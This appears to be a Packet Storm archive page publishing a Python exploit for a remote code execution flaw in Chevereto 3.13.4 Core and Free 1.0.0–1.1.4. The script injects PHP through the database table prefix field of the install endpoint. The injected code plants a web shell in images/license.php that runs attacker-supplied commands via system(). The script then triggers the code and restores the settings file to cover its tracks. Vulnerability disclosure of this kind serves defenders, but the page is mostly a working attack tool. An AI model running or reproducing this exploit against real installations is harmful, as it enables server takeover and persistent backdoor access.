exploit the possibilities

Chevereto 3.13.4 Core Remote Code Execution

Chevereto 3.13.4 Core Remote Code Execution
Posted Jan 13, 2020
Authored by Jinny Ramsmark

Chevereto version 3.13.4 Core suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 15b41c5944f65863537c6e9572a2922d

Chevereto 3.13.4 Core Remote Code Execution

Change Mirror Download
# Exploit Title:  Chevereto 3.13.4 Core - Remote Code Execution  
# Date: 2020-01-11
# Exploit Author: Jinny Ramsmark
# Vendor Homepage: https://chevereto.com/
# Software Link: https://github.com/Chevereto/Chevereto-Free/releases
# Version: 1.0.0 Free - 1.1.4 Free, <= 3.13.4 Core
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
# CVE : N/A

from urllib import request, parse
from time import sleep

#Python3
#Needs to have a valid database server, database and user to exploit
#1.0.0 Free version confirmed vulnerable
#1.1.4 Free version confirmed vulnerable
#3.13.4 Core version confirmed vulnerable

def main():

target = 'http://cheveretoinstallation/'
cookie = 'PHPSESSID=89efba681a8bb81d32cd10d3170baf6e'
db_host = 'ip_to_valid_mysql'
db_name = 'valid_db'
db_user = 'valid_user'
db_pass = 'valid_pass'
db_table_prefix = 'chv_'

inject = "';if(strpos(file_get_contents('images/license.php'), '$_POST[\"ccc\"]') === false){file_put_contents('images/license.php','if(isset($_POST[\"ccc\"])){;system($_POST[\"ccc\"]);}');}//"

#Clean data for when we want to clean up the settings file
params = {'db_host': db_host, 'db_name': db_name, 'db_user': db_user, 'db_pass': db_pass, 'db_table_prefix': db_table_prefix}
data = parse.urlencode(params).encode()

#Settings data with injected code
params['db_table_prefix'] += inject
dataInject = parse.urlencode(params).encode()

#Do inject
doPostRequest(target + 'install', dataInject, cookie)
sleep(1)

#Request index page to run the injected code
doRequest(target)

sleep(1)
#Do a clean request to clean up the settings.php file
doPostRequest(target + 'install', data, cookie)

def doPostRequest(target, data, cookie):
req = request.Request(target, data=data)
req.add_header('Cookie', cookie)
resp = request.urlopen(req)

def doRequest(target):
req = request.Request(target)
resp = request.urlopen(req)

if __name__ == '__main__':
main()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    15 Files
  • 4
    Apr 4th
    5 Files
  • 5
    Apr 5th
    5 Files
  • 6
    Apr 6th
    27 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close